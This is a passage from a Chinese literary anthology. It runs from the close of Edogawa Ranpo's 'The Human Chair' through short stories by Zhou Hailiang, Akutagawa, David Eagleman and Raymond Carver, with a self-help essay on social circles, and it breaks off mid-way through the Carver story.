　　暗无天日，甚至举动维艰的皮革天地，构成一个妖异魅惑的世界！在这里，人类与平日肉眼所见完全不同，是一种奇妙的生物。他们不过是声音、鼻息、脚步声、衣物摩擦声及几个浑圆富于弹力的肉块罢了。我能够以肌肤触感取代视觉识别每个人。有些人又肥又胖，犹如碰触腐烂的鱼肉；相反的，有的人骨瘦如柴，简直像具骸骨。此外，综合背脊弯度、肩胛骨间距、手臂长度、大腿粗细或尾椎骨长短来看，就算身材再相似，人和人也必定有所差异。除了容貌和指纹，人类绝对可以凭触摸全身逐一区别。

　　关于异性也是一样。一般而言，大众总会关注容貌的美丑，但在椅中世界，美丑根本构不成话题。这里只有赤裸的肉体、声音和气味，夫人，请不要为我这过分露骨的讲述感到冒犯。身处椅子中，我强烈爱上一名女子的肉体（她是第一个坐上人椅的女性）。

　　凭着嗓音，我想象她是个豆蔻年华的异国少女。当时房里正好没人，她似乎碰上什么高兴的事儿，小声地哼着奇妙的歌曲，踩着雀跃的步伐进来。她走到我潜伏的扶手椅前，突然将丰满柔软的躯体投向我身上。不知道为什么，她忽然“啊哈哈哈”大笑出声，手舞足蹈，网中鱼似的不住弹跳。

　　接着，足有半小时之久，她在我膝上时而歌唱，时而配合歌曲的旋律，微微扭动沉重的身躯。

　　这实在是我始料未及的惊天动地的大事。对我来说，女人是神圣的，不，简直可以说是恐怖的，我甚至不敢直视她们。如今我却和一个陌生的异国少女，共处一房、同坐一椅，隔着薄薄的皮革，几乎能感觉到彼此的体温融合在一起。尽管如此，她毫无不安，将全身重量托付给我，表现出在四下无人时才有的放松而自由奔放的模样。我甚至能紧紧拥抱她，或亲吻那丰腴的后颈，随心所欲地做出任何举动。

　　自从有了这个惊人的发现，偷窃成为次要目的，我完全沉溺于这神秘的触感世界。我心想，这个椅中世界才是上天赐予我的真正归宿。像我这般丑陋又懦弱的家伙，在阳光灿烂的国度里，只能永远怀着自卑，羞耻而悲惨地活下去。可是，只要换个居住的时空，稍微忍耐一下椅子里的拘束，便能亲近在光辉世界里无法交谈，连靠近都不被允许的美丽佳人，还能聆听她们的话语、触摸她们的肌肤。

　　椅中恋情的魅力有多么独特、多么令人陶醉，不亲身经历是无从体会的。那是只有触觉、听觉及嗅觉的恋情，是黑暗中的恋情，绝不属于人世。这是否就是恶魔之国的爱欲？仔细想来，这世界在人眼不及的各个角落进行着何种异常、惊悚的事情，真是无从想象。

　　当然，按原先的计划，达到行窃目的后便应该逃离饭店，但这举世无双的快乐让我不能自拔，我不想逃离，我打算永远定居在椅内，继续这样的生活。

　　每晚外出我都小心翼翼，避免发出半点声息，神不知鬼不觉在饭店内移动，自然没遇上危险。话虽如此，漫长的数个月中，我竟能安然无恙地生活在椅内，连自己都诧异。

　　由于一天二十四小时待在狭小的空间里，弯着手臂曲着膝盖，我浑身麻痹，无法完全直立，最后只得像瘫子似的爬行往返于厨房和化妆室。我这个人是多么疯狂啊，纵然忍受着如此劳苦，仍不愿舍弃玄妙的触感世界。

　　有人把这儿当家，一住便是一两个月，不过毕竟是饭店，宾客络绎不绝，我瑰丽的恋情只能无奈地随时间的流逝改变对象。而这无数梦幻的恋人，也不像普通人那样以容貌留存记忆，而是以触感刻画在我心中。

　　有些人像小马般精悍，肉体苗条紧实；有些人像蛇般妖艳，肉体灵活自在；有些人像皮球般浑圆，拥有厚厚的脂肪和弹性；又有些人像希腊雕刻般坚实有力，拥有完美发达的肌肉。此外，不管什么样的女性躯体，都各有独到的特征及魅力。

　　同时，在来来去去的不同女体间，我也尝到了别样的滋味。

　　有一次，欧洲某强国大使（我是听服务生聊天得知）的伟大躯体坐到我膝上。比起政治家的身份，他更是享誉国际的诗人，能触摸到这位大人物的肌肤，令我骄傲不已。他在我身上与几名同胞交谈了约莫十分钟，随即离开。当然，我完全不明白他们在聊些什么，但每回他做手势，那比常人温暖许多的肌肉就跟着收缩隆起，搔痒般的触感带给我一种难以名状的刺激。

　　当时，我倏地冒出这样的念头：倘若用利刀从皮革后方猛力刺向他的心脏，后果将如何？势必会造成致命伤，使他再也无法起身。为此，他的国家和日本政治圈，将会掀起多么惊心动魄的波澜？报纸会登出多么富于煽情的报道？他的死不仅严重影响日本与他祖国的邦交，从艺术方面来看，也是世界的一大损失。而这么一桩大事，却能在我举手投足间轻易实现。想到这里，我莫名得意起来。

　　还有一次，某国的知名舞蹈家访问日本，碰巧投宿这家饭店，虽然只有一次，但她确实坐上我的椅子。除了类似大使时的感受外，她更带给我前所未有的理想肉体触感。面对那举世无双的美，我无暇兴起下流的想法，只能怀着看待艺术品的虔敬心情去赞颂她。

　　此外，我还有过许多稀奇古怪、超乎想象和毛骨悚然的经历，不过细述这些事迹并非此信目的，铺叙得太冗长。就让我尽快切入重点吧。

　　且说，潜进饭店几个月后，我的命运出现了变化。经营者由于一些原因决定回国，饭店原封不动地转让给某日本公司。接手的老板调整了其奢华的营业方针，打算改造成平民化的旅馆，以追求更大的利润。一些不用的摆设便委托某大型家具行拍卖，我的椅子也名列目录中。

　　得知这件事，一时之间我好不失望，甚至考虑趁机重返花花世界，展开新生活。当时我偷窃存下不少钱，即使回到现实，也不必再过从前的穷酸日子了。可是回头一想，尽管离开异国饭店令人沮丧，却不失为一个新希望。几个月来，虽然恋上无数异性，但全是外国人，因此不管多喜爱、多惊艳于她们的肉体，精神上始终不觉得满足。日本人只能对日本人萌生真正的爱情吧，我渐渐有了这样的感觉。恰好我的椅子送去拍卖，或许这次会是日本人买下，然后放在家里，这就是我的新希望。总之，我决心在椅中继续生活一段时间。

　　我在旧货商的店面度过了几天极为难熬的日子。不过幸运的是，拍卖开始后，我的椅子马上被标走。大概因为虽然老旧，却仍是张十分引人注目的豪华椅子吧。

　　买家是个官员，住在离 Y 市不远的另一个城市里。在从旧货商的店面前往宅邸的好几里路上，卡车剧烈震动，我在椅子里真是饱尝痛苦，难受得要命，但与如愿卖给日本人的喜悦相比，这点苦根本算不上什么。

　　那是栋气派的小洋楼，我的椅子被摆在宽敞的书斋里。最让我满意的是，比起男主人，年轻貌美的女主人更常使用。其后的一个月间，我无时无刻不与女主人在一起。除用餐和就寝外，女主人柔软的身体总是坐在我上方。因为这段时日，女主人总是关在书房里埋头写作。

　　我有多深爱她，用不着在信里逐一细述，她是第一个和我的肌肤接触的日本人，且身躯完美无缺。这是我平生第一次感受到真正的爱情，与此相比，饭店里的诸多经验简直不值一提。证据就是，唯独对这个女主人，我心生前所未有的念头。我不甘心限于只是偷偷爱抚，还千方百计地想让她察觉我的存在。

　　如果可能，我希望女主人意识到椅子里的我，甚至一相情愿地期盼能得到她的爱。可是，我该怎么暗示她才好？直接说出椅内藏着一个人，她肯定会大惊失色地告诉主人和仆佣吧。这样不仅一切都会毁于一旦，我也将背上可怕的罪名，受到法律惩治。

　　所以我尽最大的努力，至少让女主人觉得舒适无比，可能的话，进而爱上这张椅子。身为艺术家的她，想必较常人更为纤细敏感。如果她从中感觉到生命，不把椅子当成一件物品，而视为一个生命喜爱有加，这样我便心满意足了。

　　她将身子投向我时，我总是尽量轻柔地接住。她疲倦的时候，我会悄悄挪动膝盖，调整她的姿势。碰上她昏昏沉沉地打盹儿时，我便极其轻微地晃动双膝，担负摇篮的任务。

　　不知道是我的心血有了回报，抑或只是错觉，最近女主人似乎深爱着我的椅子。她会像婴儿处在母亲怀中，或少女回应情郎的拥抱般，带着一股柔情蜜意窝进椅子。我几乎能看见她在我腿上挪动身体的娇怜模样。

　　于是，我的热情一天比一天炽烈。终于，啊，夫人，我产生了一个自不量力、无法无天的愿望。只要能见心上人一眼，与她说说话，我死而无憾。唉！我竟苦恼到这种地步。

　　夫人，想必您已明白，我所说的心上人（请原谅这不可饶恕的冒犯）其实就是您。自您先生从 Y 市的旧货店买下我的椅子后，可悲的我便一直对您仰慕不已，奉献出无尽的爱。

　　夫人，这是我此生唯一的请求，能否见我一面？就算一句也好，请施舍可怜的丑汉一声安慰吧。我绝不敢期望更多，因为我这丑恶肮脏的家伙实在不配再多奢求。请允许这不幸男子最后的恳求吧！

　　昨晚为了写信，我溜出府上。因为当面向夫人开口请求太过危险，何况我实在鼓不起勇气。

　　当您读这封信时，我正担忧得脸色苍白，在府上周围徘徊着。

　　若您肯答应这冒昧至极的请求，请将手帕盖在书斋窗户的石竹盆栽上。看到后，我会装成平凡的访客，到贵府玄关。

　　这封诡异的信以一句热烈的祈愿作结。

　　读到一半，佳子已被心中骇人的预感吓得惊慌失色。

　　她不由自主地站起身，逃出摆着那张恶心扶手椅的书斋，跑进日式卧房。她真想不再往下读那封信，直接撕掉，却又挂着心，便姑且再往下看几行。

　　她的预感果然成真。

　　啊，这是多么惊悚的事实！她每天坐着的那把扶手椅里，竟藏有一名陌生男子！

　　“哦，太可怕了！”

　　她背后仿佛被浇了一盆冷水，浑身直打哆嗦。这没来由的颤抖怎么都无法停息。

　　她惊吓过度，茫然失措，完全不知如何是好。检查椅子？那么恐怖的事，她怎么做得了。纵然里面已空无一人，也必定残留着食品和他的秽物。

　　“太太，有您的信。”

　　佳子赫然一惊，回头一看，女佣拿来一封似乎刚刚才送达的信。

　　佳子无意识地接下，就要拆开时，不经意地望向上头的字，吓得忍不住松了手。写着她的姓名、住址的笔迹，与那封怪诞信件的一模一样。

　　良久，佳子犹豫着究竟该不该开封。最后她仍撕开封口，战战兢兢地读起来。来信很短，但内容奇妙得令她不禁再次一惊。

　　唐突去信，还望海涵。我平素即十分喜爱老师的作品，之前附寄的稿件是我生涩的创作，若老师能够一读，予以指教批评，实是不胜荣幸之至。出于某些原因，稿件在此信提笔前先行投函，老师或已阅览完毕，不知感觉如何？假使拙作能感动老师一二，我将无限欣喜。

　　稿件上故意略去未写，但标题预定命名为《人间椅子》。

　　那么，不揣冒昧，伏乞赐教。草草。

2.05 米的绳子

周海亮

　　发现失火的时候，已经晚了。男人拉着女人冲向楼梯，却被大火扑回。火势迅速蔓延，整栋大楼像一块疯狂燃烧的炭，将每一寸空间烤成滚烫的烙铁。尽管他们关紧房门，火舌和浓烟还是从门缝里一丝一丝往里挤。狭小的房间，逐渐变得炽热难当。

　　是午夜某城的一个宾馆。

　　男人和女人站在窗口呼救，拼命挥动手臂。他们看见消防队员架起云梯，慌乱且急切地向他们靠近。可是没有用，肆虐的大火让云梯像一只巨大的受伤的鸵鸟，在距大楼很远的地方徘徊，停滞不前。

　　火势越来越猛。房间里的空气，仿佛开始燃烧。

　　男人说，跳楼！

　　他们住在九层。

　　他们把床单和被罩撕成宽宽的长条，连成一条绳子。男人估估测了一下长度，摇摇头，又脱下他衬衣，连上。长度仍然不够，男人开始撕扯着窗帘。一股火焰猛地蹿进来，在男人面前拐了个弯。女人说，没时间了。

　　男人将床上的被褥扔出窗外，然后把绳子系在一根结实的窗骨上，狠狠拽了拽。他对女人说，滑下去！

　　女人拼命摇头。她开始哭泣。

　　男人说没事，你抓紧绳子，慢慢向下滑。你准能行的。女人说你呢？男人说你先滑下去，我马上。他把女人抱上窗台，将绳子的末端在她的腰上缠了一圈。男人大汗涔涔，呼吸困难。男人说千万抓紧，记住，一点一点往下滑。男人拉住绳子的另一端，男人说，我爱你。

　　火焰逼近了男人。女人开始向下滑。她像一只笨拙的壁虎，沿着滚烫的楼壁，一寸一寸地接近地面。

　　终于，女人滑到了绳子尽头。可是她的身子，仍然停留在半空。四面都是烈焰，女人的手指钻心地痛。她的体力在飞快地透支。

　　男人做出了一个决定。

　　他冲女人喊，别怕，坚持半分钟！男人用尽浑身力气将那段绳子往上拉，然后用牙齿，咬开系在窗骨上的死结。刹那间巨大的冲击力让男人的身体剧烈前倾，险些被拉出窗外。男人死死地抓住绳子的一端，冲女人喊，别朝下看！一会儿我喊跳，你就跳下去！

　　屋子里已经火光冲天。男人感觉自己的头发眉毛都在燃烧。

　　男人用双脚钩住两根窗骨，像杂技演员般慢慢探下身体。男人的表情痛苦并且狰狞，他的身体完全挂在窗外。女人的体重将他的身体完全拉直。

　　男人变成一段绳子。一段连接在女人和窗骨之间的生死之绳。男人的身体还在拉直和伸长。1.75 米的男人，把那段由床单和绳。男人的身体还在拉直和伸长。1.75 米的男人，把那段由床单和被罩变成的绳子的长度，增加了 2.05 米；把女人到地面的距离，降低了 2.05 米。

　　火焰噬咬到男人钩住窗棂的双脚，他感到自己的皮肤在毕剥作响。男人朝女人嘶喊，快跳！

　　女人跳下去了。她重重地摔在男人扔出的被褥上。四周都是浓烟。几个消防队员终于突破烈焰，朝她的位置跑来。

　　没能在第一时间逃出大楼的人，几乎全部蒙难。除了女人——她是唯一获救的一个。

斗车

芥川龙之介

　　良平八岁那年，小田原和热海之间开始铺设小火车轨道。他每天都去村边观看这项工程。说是工程，其实只是用斗车装运土方——不过良平正是对此颇感兴趣而跑去观看的。

　　装好了土的斗车上站着两个小工。斗车走的是下坡路，不用人推它自己就会飞跑起来。斗车摇晃着车的底座在前进，小工们那号衣的下摆随风飘荡，细长的路轨弯弯曲曲——瞅着这副情景，良平很想去当个土方小工。他还想和那些小工一起乘一下斗车，哪怕一次也是好的。斗车开到村边的平地上以后，就在那里自然而然地停下了。与此同时，小工们很轻巧地从斗车上跳下来，转眼间，就把车斗里的土全部倾倒在轨道的尽头处了。接下来，小工们便一步步推着斗车，开始朝来时的路登坡上山。此时良平心想，即使乘不了斗车，但只要能推推它也是好的呀。

　　有一天黄昏——那是2月上旬的时候，良平领着比自己小两岁的弟弟，以及一个和弟弟同岁的邻居家的小孩，一起到停着斗车的村边去。斗车粘满了泥巴并排列在斜日余辉之中。可是，除此而外，哪里也看不见小工们的影子。三个孩子诚惶诚恐地去推最边上的一辆斗车。三个人一齐使劲一推，斗车突然咕隆一晃，车轮转动起来了。这一声响吓得良平汗毛一下子竖了起来。但车轮第二次发出声响时，良平已经不再惊骇了。咕隆，咕隆……三个人的手一起推着斗车，斗车也随着这声响徐徐地沿着轨道往上爬。

　　没一会儿，斗车走出一二十米远，这时，轨道的坡度变陡了。三个人怎么使劲推，斗车也纹丝不动，甚至动辄有随着斗车一起被推回原处的可能。良平觉得已经可以了，于是就向比自己还小两岁的两个小孩打信号。

　　“来，上吧！”

　　他们同时松开了手，跳上斗车。起初，斗车只是徐徐而动，接着，眼看势头越来越猛，一口气从轨道上溜了下去。路上所向披靡，风景扑面而来，好像一下子一劈而二似地向两侧分开，并在眼前迅速展开。薄暮微风拂面，足下斗车跳动——良平仿佛羽化而登仙了。

　　不过，两三分钟之后，斗车回到了终点，在原处停下了。

　　“来，再推一次。”

　　良平和这两个比自己小的孩子一起，打算再一次往坡上推斗车。车轮还没起动，他们忽然听到背后有人的脚步声。不仅如此，他们刚听得脚步声传过来，这声音马上就变成了叫骂声。

　　“他妈的！是和谁打过招呼来动斗车的？”

　　一个高个子小工站在那儿，他身穿一件旧号衣，斗上戴着一顶已经过了时令的麦秸草帽。

　　——看到这种姿势，良平已经和两个小孩儿一起逃出十来米远了。——自那以后，良平有事外出归来时，即使看到斗车停在一个人影也不见的工地上，也不想第二次再乘乘看了。而那个小工叫骂时的姿态，一直到现在还清晰地铭刻在良平心上，在良平的脑海里留下了深刻的记忆。一顶小小的黄色麦秸草帽浮现在薄暮的微明之中。——不过，就连这样的记忆似乎也一年比一年模糊了。

　　又过了十几天，良平一个人来到工地，他站在那里看着斗车往上爬，这时正午已经过去了。除了装土的斗车之外，良平看到有一辆斗车载着枕木从铺设干线用的粗轨上往坡上爬。推这辆斗车的是两个年轻人。良平一见他俩，就感到他们身上有一种平易可亲的气氛。

　　“这样的人是不会训斥我的。”——良平这样想着，就向斗车奔去。

　　“叔叔，我也来帮你们推好吗？”

　　其中有一个人，——穿着有条纹的衬衣正埋头推着斗车的男工，果然不出良平所料，头也没抬一下，立即爽快地答了话。

　　“哦，来推吧。”

　　良平钻进两个男工之间，开始拼命地推起来。

　　“你这小鬼很有点劲啊。”

　　另一个男工，——他耳朵上夹着一支香烟，也这么称赞着良平。

　　推了一会儿之后，轨道的坡度逐渐变得平缓起来。“已经不用再推了。”——他们会不会马上说这话了呢？良平心里七上八下地嘀咕着。可是那两个年轻的小工还是闷声不响地继续推他们的斗车，只是腰板比刚才挺得更直了。良平终于忍耐不住，战战兢兢地试探着：“一直照这样推下去好吗？”

　　“当然好喽。”两个男工同时回答。

　　良平心想：“真是和蔼可亲的人。”

　　再往前推了五六百米远，轨道又一次碰上了陡坡。这里，两侧是蜜橘园，不少橙黄色的果实沐浴在阳光下。

　　“还是上坡好，这样，他们就可以一直让我推下去啦。”——良平心里这么想，一边使出全身的劲来推着斗车。

　　从蜜橘园中间往上推到最高处，轨道一下子急转直下。身穿条纹衬衣的男工对良平喊了声：“喂，上来。”良平立即举脚跃上斗车。在三个人附着车身乘上来的同时，斗车已扇动着蜜橘园里的香气，在轨道上一股劲儿飞快地滑动起来。“乘斗车比推斗车要美得多呢。”——良平让自己的外衣鼓着野风，一面想着这毋庸置疑的道理。“推着斗车前进的路程越长，回来时乘斗车的机会也越多。”——良平还这么想过。

　　斗车一来到竹丛区，慢慢地停止了飞驰。三个人又像方才那样，开始推起这辆沉重的斗车来。不知从什么时候起，竹丛已经不见了，代之而来的是杂树林。这里，上坡的路途上，到处都是落叶，连锈得发红的铁轨都几乎全被淹没了。沿着这条路，斗车好容易才登上坡顶。这时，只见蓝霞辽海展开在悬崖峭壁的那一边，洋面上寒意轻笼。与此同时，良平马上清清楚楚地意识到，已经走到过分远的地方来了。

　　三个人又乘上斗车，斗车沿着海的左边滑行，同时从杂树林的枝叶下钻过。不过，良平此时的感觉已不像方才那样兴致勃勃了。“斗车马上回去就好了。”——良平暗暗地祷念起来。当然，他自己也很清楚，不到达目的地，斗车也好，人也好，都还不能往回返。

　　接下来，斗车停在一个茶馆前，茶馆背靠开凿过的山岳，屋顶是用茅草葺的。两个小工一走进店里，就和背着乳儿的老板娘搭着腔，一边悠闲自得地又是喝茶又是吃点心。良平独自一人在斗车周围转着，心里焦躁不安。斗车底座坚实牢固，一路上飞溅在底座板上的泥巴这时已经干了。

　　过了一会儿，他们从茶馆出来，临出来的时候，那个耳朵上夹着香烟的男工(此时已经不见香烟夹在耳朵上了)，递给站在斗车旁的良平一包用报纸包着的粗点心。良平冷冰冰地说了声：“谢谢。”但他马上又感到，这么冷淡有点对不起那位男工。良平像是为了掩饰自己的冷淡，就拿起一块点心放进嘴里。大概是因为用报纸包的缘故吧，点心沾染了一股油墨味。

　　三个人一边推着斗车一边沿着平缓的斜坡往上爬。良平虽然手扶斗车，但是心不在焉，他在想着别的事。

　　沿这个山坡一直往前下到坡脚，这里又有一个茶馆，它和前面的那一个差不多。两个小工进入茶馆以后，良平坐在斗车上，一心记挂着回去的事。茶馆前的梅花已开放，照射在梅花上的夕阳在一点点地消失。“太阳就要下山了。”——良平这么一想，觉得不能再这么稀里糊涂地坐下去了。他时而踢踢斗车的车轮，尽管明明知道自己一个人没法动一下斗车，但还是哼哼唧唧地不时试着推一下车子，——他借此来排遣烦恼。

　　可是两个小工一出来，他们就把手搭在斗车的枕木上，一边漫不经心地对良平这样说：“你可以回去了。我们今天得在对面住一宿。”

　　“回家太晚了的话，你家里也许要不放心了呢。”

　　良平刹那间瞠目结舌地怔住了。天色快黑下来了，虽说去年岁暮时分，自己和母亲一起赶路去过岩村，可是今天的路程有去年三四倍远，而且现在必须自己一个人走回家去，——良平一下子明白过来是这么回事了。他几乎要哭出来，然而哭又何济于事呢？良平觉得现在不是哭的时候。他向这两个年轻的小工很不自然地鞠了个躬告辞之后，就拼命地顺着轨道跑步前进。

　　良平不顾一切地沿着轨道的一侧不停地奔跑着，过了一会儿，良平发觉兜里的那包点心变得碍手碍脚起来，他就把点心抛到路旁不要了，接着又把脚上的木底草履也脱下丢弃了。于是，小石子直接侵入到薄薄的布袜子里，不过脚倒是轻得多了。良平感觉到海洋是在左边，他就这样跑上了陡坡。有时眼泪要往上涌，脸就自然而然地歪扭了。——即使勉强忍住了泪，可鼻子总不停地抽嗒作响。

　　良平从竹丛边穿过时，日金山天际的晚霞已经开始消敛。良平越发焦虑不安起来。也许是去和来情况有所不一样的缘故吧，景色的不同也令人担心和不安。这时，良平感到衣服都已经被汗水所浸透，但自己还得像刚才那样继续拼命赶路，于是他就把和服外褂脱下丢在路边了。

　　来到蜜橘园的时候，周围越来越暗了。“只要能保住性命——”良平一边这样想着，一边连滑带跌地继续赶路。

　　好不容易在远处的暮霭当中显出村边工地的影子。这时，良平咬咬牙不由得要哭，他哭丧着脸，但终于没有哭出来，又继续向前奔跑起来。

　　进入自己的村子一看，左右两侧的人家，电灯都已经亮了。在电灯光下，良平自己也很清楚地看到，从他汗涔涔的头上直冒热气。正在井边汲水的妇女们，以及正从田里归来的男人们，看到良平气吁吁地跑来，都向着良平发问：“嗳，怎么回事啊？”然而良平却默默无言地从杂货店、理发店这些通亮的房屋前奔了过去。

　　良平一跑进自己家门，终于止不住扯着嗓子哇地哭出了声音。这一声哭喊，一下子就使父母亲聚集到良平身边来了。尤其是母亲，她一面说着些什么一面抱起良平来。可是良平拳打脚踢地折腾着，一边还在继续不停地啜泣。大概是因良平的哭声太厉害了，住在邻近的三四个妇女也集聚到良平家昏暗的大门口来了。父母亲当然是不消说了，连门口的这些人也都异口同声地询问起良平哭泣的原因来。可是无论问什么，良平只好一门心思地大声哭泣。打那么远的地方一鼓作气地跑来，只要一回想起刚才路上的凄凉，良平觉得，无论自己怎么放开嗓子不停地啼哭，总有一种没法得到满足的情绪在向自己袭来……

　　良平在二十六岁的那一年，带着妻子儿女一起来到东京。这时，他在一个杂志社的二楼，手拿红笔做着校对工作。可是，不知怎么一来，而且毫无理由，良平有时会回忆起自己小时候的那件事情。毫无理由可循吗？——尘世的操劳使良平疲于奔命，他眼前浮现出一条道路，它和从前的那条一样，路上，竹林昏暗微明，坡道陂陀起伏，是一条细细长长、断断续续的道路……

　　1922 年 2 月

弥补

大卫 · 伊格曼

　　关于上帝的性别之争是错误的。我们的上帝，其实是一对夫妇。当初，他们按照自己的模样创造了几乎相同数量的男女。

　　她和创造的每个女人都很亲密，每创造一个女人，她自己仿佛也附身其中，尝试不同的高矮胖瘦，思想感情，智商，肤色的深浅，以及眼球的颜色。他创造男人时也同样如此。有些夜晚，他们好奇的试着创造相反性别的人，只是为了感受一下其中的不同。

　　人们死后，便会跟上帝生活在一个大家庭里，享受父母与孩子之间的天伦之乐。这世间的每个人都是他们的孩子，而他们也竭尽所能，辛苦地养育着人类。

　　令人振奋的是，同其他所有的父母能够从孩子身上学习一样，上帝也在我们身上有所收获。比如，上帝并不能解释自己创造的宇宙是如何运转的，而在他的孩子中间，有人成了物理学家，可以清楚地阐述其中的奥妙，这令上帝惊叹不已。

　　不过话说回来，这个大家庭并不总是充满欢愉。他们的婚姻是事先安排好的，几百万年之中有过很多的不愉快。他们仔细观察了人类，发现有时夫妻会不和，会分离，会有外遇，甚至会离婚 —— 但其实这些事情并没有那么糟糕，地球还是照转不误。于是，他们也向自己的孩子们学习——他们分道扬镳了。

　　之后发生过很多不好的事情。他们用不公正的言词谴责彼此，甚至不惜以对方的隐私作为攻击的武器。为了能够伤害对方以达到复仇的目的，她创造了一个女性的星球。他以牙还牙，创立了男性的太阳星系。她又以女性占领的流星、陨石包围了他的行星轨迹。他们将人类男女全副武装，想决一胜负。双方从讽刺挖苦到真枪实弹，打得不可开交。

　　但奇怪的事情发生了。不论行星还是流星，都出奇地安静。各星球在宇宙的空间运行，轨迹缓慢而温和。没有一声枪响，也没有一丝战火爆发。

　　仔细观察后，他们发现，只跟同一性别的人生活很痛苦，就好像是一群存在主义者失去了极为重要的东西，一种让他们无能为力的东西。

　　最后，他们终于放弃了。几个月来，她第一次对他说了一句和气话，问他是不是饿了，他接着主动提出愿意为两人做些吃的。男人和女人的星球又运行回到了一起，大家庭的生活又重新开始，人们依旧追求梦想，依旧面临诱惑和抉择，依旧激烈地对立和争吵，不过总算松了口气，起码没有战争和武器的威胁了。

　　节选《生命的清单》

进个圈子锻造自己

沈青黎

　　认识一个姑娘，在北京读民办大学。到北京后，她就一直颇受表姐的照顾。

　　姑娘的表姐是一位富商的女朋友，姑娘常常跟着表姐泡吧、搓麻将，渐渐学会了喝酒玩骰子。北京对她来说，就是酒吧里的五光十色、度假村的温泉和闹哄哄的麻将桌。姑娘就安心地待在表姐的圈子里吃喝玩乐，羡慕着表姐和她的闺蜜们的生活，盼望自己哪天也遇见一个有钱人。在这个 20 岁姑娘的心目中，家境不够好的女孩只有两条出路，要么就嫁个有钱人，要么就傍个有钱人，否则日子简直没办法过下去。

　　另一个姑娘，也是北漂，每月拿两千多块的薪水，和老乡一起租住在地下室。工作之余，姑娘最喜欢去动物园的服装批发市场淘廉价衣服，再就是窝在出租屋里用二手电脑看电影。在这样的生活里，姑娘变得很悲观，总是抱怨北漂的日子看不到未来。有一次跟姑娘闲聊，我建议她学点东西提升一下自己，好为以后的升职作准备。听了我的建议，姑娘特别感激，她告诉我，自己平时和老乡们待在一起，大家经常用家乡话聊天，讨论最多的就是老家的事，再就是哪儿能买到便宜衣服，从来没人跟她讲过该如何提升自己。

　　两位姑娘的经历让我十分感慨，也开始检讨自己的生活圈子。因为我发现，有时候圈子真的很重要，它能决定你的生活态度与人生方向。有一阵子，我感觉特别忙乱，做事很没效率。经过观察我发现，原来那阵子自己交往的都是“穷忙族”，人人喜欢熬夜拖沓刷微博，却把要事都搁在了最后。还有段时间，我迫切地想要买房子，但那时我并不具备买房的经济实力。后来我才知道，自己的这种心态来自圈子里的群体压力，因为圈子里的每个人都在强调购房的重要性，潜移默化中我也受到了影响。

　　如此说来，想改变自己的人生方向，最有效的办法就是找一个正确的圈子，然后想办法融入，并努力汲取其中的正面能量。在北京艺术圈颇有名气的乔小刀刚刚成为北漂的时候，还是个装修工，接触到的也都是跟自己地位差不多的打工者，但乔小刀不愿和其他人一起喝酒打牌来消磨时光，他想做个搞艺术的。于是，他开始经常去文艺青年聚集的宋庄闲逛，想法子认识了一群搞艺术的朋友，并试着画起了装修画。几年下来，乔小刀还真的开起了公司，做起了艺术家。

　　也许不是每个人都像乔小刀一样有勇气，想尽办法接近自己想要成为的那种人，融入自己理想中的圈子。可是，我们至少要学会检视自己身处的圈子，看看圈子里的人属不属于自己想要成为的那类人。如果不是，就要果断离开，不要贪恋小圈子带给自己的那一点安全感，却禁锢了自己本应无限广阔的思想。此外，我们还可以通过网络途径为自己营造一个虚拟的圈子，隔空关注自己想要成为的那些人，看看他们读了什么书，看了什么电影，平时又在做什么，然后试着像他们一样生活，也许就能更快地接近梦想。

侏儒的祈祷

芥川龙之介

　　我是穿五彩衣、献筋斗戏的侏儒，唯以享受太平为乐的侏儒，敬祈满足我的心愿：

　　不要使我穷得粒米皆无，不要让我富得熊掌食厌。

　　不要让采桑农妇对我嗤之以鼻，不要使后宫佳丽亦对我秋波频传。

　　不要让我愚昧得麦菽不分，不要使我聪明得明察云天。

　　尤其不要使我成为英雄而英勇善战。时下我便不时梦见或跨越惊涛骇浪或登临险峰之巅，即在梦中变不可能为可能——再没有比这种梦更令人惶恐不安。如与恶龙搏斗一样，我正在为同梦的对峙而苦恼不堪。

　　请不要让我成为英雄，不要使我产生雄心义胆，永保这无能无力的我一生平安。

　　我是醉春日之酒诵金缕之歌的侏儒，唯求日日如此天天这般。

你是医生吗？

雷蒙德 · 卡佛

　　听到电话铃声，他穿着睡衣拖鞋从书房里跑了出来。十点多了，肯定是妻子打来的。她外出时每晚都打电话回来（总是这么晚，在喝过几杯以后）。她是做采购的。

　　“喂，亲爱的，”他说，“喂。”他又说了一遍。

　　“你是谁？”一个女人问道。

　　“哎，你是谁？”他说，“你打的是哪个号码？”

　　“等一下，”女人说，“273-8063。”

　　“这是我的号码，”他说，“你怎么弄到的？”

　　“我不知道。我下班回来后看见的，写在一张纸条上。”这个女人说。

　　“谁写的？”

　　“不知道，”女人说，“我猜是那个看孩子的写下来的，肯定是她。”

　　“嗯，我不知道她是怎么弄到的，”他说，“这是我的号码，它是不公开的。你要是把它给扔了，我会很感谢你的。喂？你听得见我说说话吗？”

　　“听得见。”女人说。

　　“还有别的事吗？”他说，“不早了，我还有事。”他并不想显得唐突，只是有点害怕去冒这个险。他在电话旁的椅子上坐了下来，说，“我不是故意失礼，只是想说太晚了。我有点担心，你怎么碰巧就有了我的号码。”他脱了拖鞋，开始按摩自己的脚，等着。

　　“我也不知道，”她说，“我告诉过你，我在一张纸条上发现它的，纸条上其它什么都没有。明天见到安妮塔，就是那个临时看孩子的，我会问她的。我不是想来打扰你，我刚刚才看见这张便条。下班后我一直呆在厨房里来着的。”

　　“没什么，”他说，“忘了这件事吧，把它扔了就行了。没事，不用担心。”他把话筒从一个耳朵移到另一个耳朵。

　　“你听上去像是个好人。”这个女人说。

　　“像吗？嗯，你真客气。”他心里知道该把电话挂了，但在安静的房间里，听见别人说话的声音，甚至包括自己的声音，都让人有种愉快的感觉。

　　“哦，像，”她说，“我听得出来。”

　　他把脚放了下来。

　　“如果不介意的话，你叫什么？”她问道。

　　“我叫阿诺德。”他说。

　　“大名呢？”她说。

　　“阿诺德是我的名字。”他说。

　　“哦，原谅我，”她说，“阿诺德是你的大名，那么尊姓呢？阿诺德？你姓什么？”

　　“我真的该挂了。”他说。

　　“阿诺德，看在老天爷份上，我叫克莱拉·霍尔特，该称呼你阿诺德什么先生？”

　　“阿诺德·布赖特，”他说，很快又补充了句，“克莱拉·霍尔特，很好。但我真的该挂了，霍尔特小姐，我在等一个电话。”

　　“对不起，阿诺德，我不想占用你的时间。”

　　“没关系，”他说，“和你谈得很开心。”

　　“谢谢你这么说，阿诺德。”

　　“你可以等一下吗？”他说，“我得去找个东西。”他去书房拿了根雪茄，用书桌上的打火机慢慢点着，再摘下眼镜，对着壁炉上方的镜子照了照。当他拿起话筒时，他担心她已经把电话挂了。

